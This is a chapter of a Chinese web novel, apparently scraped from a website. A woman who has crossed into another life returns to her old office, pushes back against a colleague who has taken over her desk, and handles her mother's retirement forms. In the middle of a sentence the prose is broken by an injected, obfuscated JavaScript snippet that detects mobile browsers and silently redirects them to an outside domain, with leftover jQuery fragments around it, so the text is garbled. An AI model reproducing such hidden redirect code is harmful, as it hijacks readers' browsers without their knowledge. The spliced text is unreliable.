杜涓的焦虑在年初七那天达到了顶峰——明天就要上班了。
以前上班焦虑，是因为工作太忙；现在上班焦虑，是因为她连办公室的门朝哪个方向开都不知道。
因为要喂小杜若，杜涓还是睡不成整觉，只觉得脑袋刚沾上枕头，天就蒙蒙亮。
靠在床头再眯一会儿，左边小杜若还睡得香甜，右边半张床早已经没人。
梁凤至早就收拾利索，出门买早饭。回来叫人：“起床啦，小懒虫！”
鸡蛋煮熟了放在凉水里，一会儿就好剥壳。塑料袋装着的豆浆倒进奶锅里煮沸，咕嘟咕嘟地冒着泡泡。杜涓刷完牙，睡眼惺忪走出来，帮着把大果子码进盘子。
梁凤至往杜涓装豆浆的大碗里放两勺白糖，“吃这么甜，不怕牙疼！”
杜涓用筷子一个劲儿把大果子往豆浆碗底怼，都泡得稀软也不夹起来吃。
梁凤至心里叹口气，从女儿皱着的眉头里读出“不想上班”四个大字。
她把鸡蛋放在桌上，手按着鸡蛋滚来滚去，“妈一会儿跟你一起去单位。”
杜涓抬起头，疑惑是疑惑，也说不出拒绝的话，哪怕是客套。
“妈终于要退休啦！”
羡慕死了羡慕死了……
等到还在享受寒假的杜雨接过需要照看的小杜若，杜涓和梁凤至走在上班的路上，脑海里就剩这一句话。
不过一路风景也绝非陌生，杜涓落后梁凤至半步，走到办公室门口，终于完全确定，这就是张晓风小学的时候，她妈的办公室。
二楼第三间，原来一直就在这个办公室没变过。
打开门锁，她们来得早，其他人还都没有来。
办公室不小，外间三张桌子像三个“口”紧挨着的一个“品”字，里间如果她没记错的话，应该是存放档案的房间。
上辈子杜涓具体干啥，没跟张晓风说过。约莫是人事一类的活儿，因为张晓风偷看过里间的档案，上面全是个人信息。
但是杜涓工位在哪张桌，她还真不能确定。
她努力回想，上辈子这间办公室里好像只有两个人来着。
梁凤至倒是熟门熟路。
“小王可真是的，知道你要回来，还占着你桌子。”
她嘴里念叨，手上也没闲着。拿下门口架子上的搪瓷盆，去水房打水。
由梁凤至的话推断，可见堆满东西的是杜涓办公桌。杜涓探过头，还没看清是什么，就被推门进来的人夸张的说话声打断。
“哟，都说你过鬼门关呢，这么快就回来上班啊！”
杜涓抬起头，毫不意外地看见王姨——现在她们年龄相当了——王颖华的脸。
果然还是她，上辈子杜涓的冤家。
那时张晓风上小学，杜涓疑心病很重，看谁都像肖想张强。和王颖华扯头花，有时当着张晓风的面能忍住，更多的时候忍不住，什么难听话都说。
张晓风都不知道她们是因为什么事，从什么时候开始交恶，但总之不对付。也许那时候也没有和杜涓能对付的人吧。
而现在，满桌子的东西，就足够让杜涓跟王颖华不对付了。
王颖华甚至还提溜着一大兜毛线团，想要往杜涓桌上放，被杜涓横了一眼，才讪讪拉开桌下的柜门塞进去。
“涓啊，我东西多，你也没啥事，就再让我放两天呗？”
杜涓看着桌上的东西，一摞琼瑶小说，一个泛着油光的饭盒，不知道几袋子毛线，横七竖八的过期报纸，雪糕袋子……
她两根手指捏起“大脚板”雪糕的袋子一角，融化的巧克力还沾在上头：“算了吧姐，这种金贵东西还是你收藏吧。”
王颖华瞪大了眼睛，杜涓居然会拒绝她！
不是，杜涓居然会拒绝人了！
难怪张强和他妈在加工厂大院，前段时间都夹着尾巴走，这段时间……好像没再见着了……
梁凤至端着接满水的盆回来，把在暖气片上烤得干硬的抹布扔进去泡着，“小王啊，劳驾收拾收拾啊，涓一会还干活呢。”
哦，狐假虎威啊。
王颖华后悔今天出门没看黄历，梁凤至谁敢惹，带个塑料框眼镜，片儿还挺厚，瞅着文质彬彬的，据说年轻的时候为了什么事能追着人骂出去三条街。
尊重还是得尊重，她不情不愿把扔了一冬天的垃圾往自己桌上划拉。
杜涓也没闲着，她被梁凤至塞了个拖布，包着蓝色塑料皮的木杆儿，底下几根布条都看不清本来颜色。
穿越前打扫房间基本靠扫地机器人和家政，穿越后更是十指尚未沾过阳春水的杜涓：“……”
所幸对于使用这玩意儿的记忆，倒也不是一点没有。她提起角落里带滤网的长方形水桶，凭着记忆往水房的方向去。
不知使用什么时间魔法，杜涓笨手笨脚回到办公室，桌面基本已经打扫一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574615|171115||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
空。
桌面上的台历还停留在去年九月，一部老式电话机，玻璃板下面压着杜涓和张强的合照、单位的几个电话号码，除此之外别无他物。
杜涓掀起玻璃板，把合照掏出来，想扔。
仔细一看，背面还有字。
“说好了一辈子，少一年、一个月、一天、一个时辰，都不算一辈子。”
杜涓：呕。
很快一切收拾停当，梁凤至却还不走。
“姑娘，这回可以给我办退休了吧！”
杜涓：原来我是负责给人办退休的。
王颖华手上织着毛衣，眼睛瞟着这对母女看热闹。不知怎么的，她觉得这俩人还挺好玩的。
不像以前，天天苦大仇深的。
但是杜涓业务确实没得说，就是跟个闷葫芦似的。以前给职工办手续，职工一旦狮子大开口想要点规定以外的东西，她就不知所措。
这回看起来倒是不麻爪了，但是怎么行动迟缓，好像忘了业务似的呢？
行动迟缓的杜涓翻了好几个抽屉才找到自己想要的东西，蓝色硬纸壳封皮的登记本。
原来一切印象都比她想象中还要深。
上辈子小时候的暑假寒假就是在妈妈办公室做作业。张晓风有过一个痴迷阅读的时期，只要有字，什么都翻出来看。
妈妈的日记本，里屋的档案，办公桌抽屉里的工作记录，乃至废报纸、使用说明书，逮什么看什么，还过目不忘，印象贼深刻。
不过那段时期过去之后，脑子就没那么灵光了。
现在的杜涓无比感谢那段时期的自己，她凭着记忆找到“离退休职工信息表”，让梁凤至坐在自己的座位上填。自己站起身，在身后书柜里找到收纳之前留存信息表的文件盒，抽出几张来看。
心中有数的时候，梁凤至也填完了表格。
“好了，就差盖个章。”杜涓心里暗暗比对表格信息，可是章子在哪儿呢，她面色踌躇。
“你快歇着吧，忙活一早上了，盖章不是找你沈姨吗，我自己去。”
梁凤至像会读心。
杜涓连忙追上去挽住梁凤至胳膊：“妈妈我要跟你一起去！”
要不然回头又对不上沈姨是哪位。
王颖华看着梁凤至和杜涓一同出门，都半扎着头发，留下长发飘飘的两个背影，看着活像一对姐妹俩，用了一点力气才收回自己目瞪口呆的表情。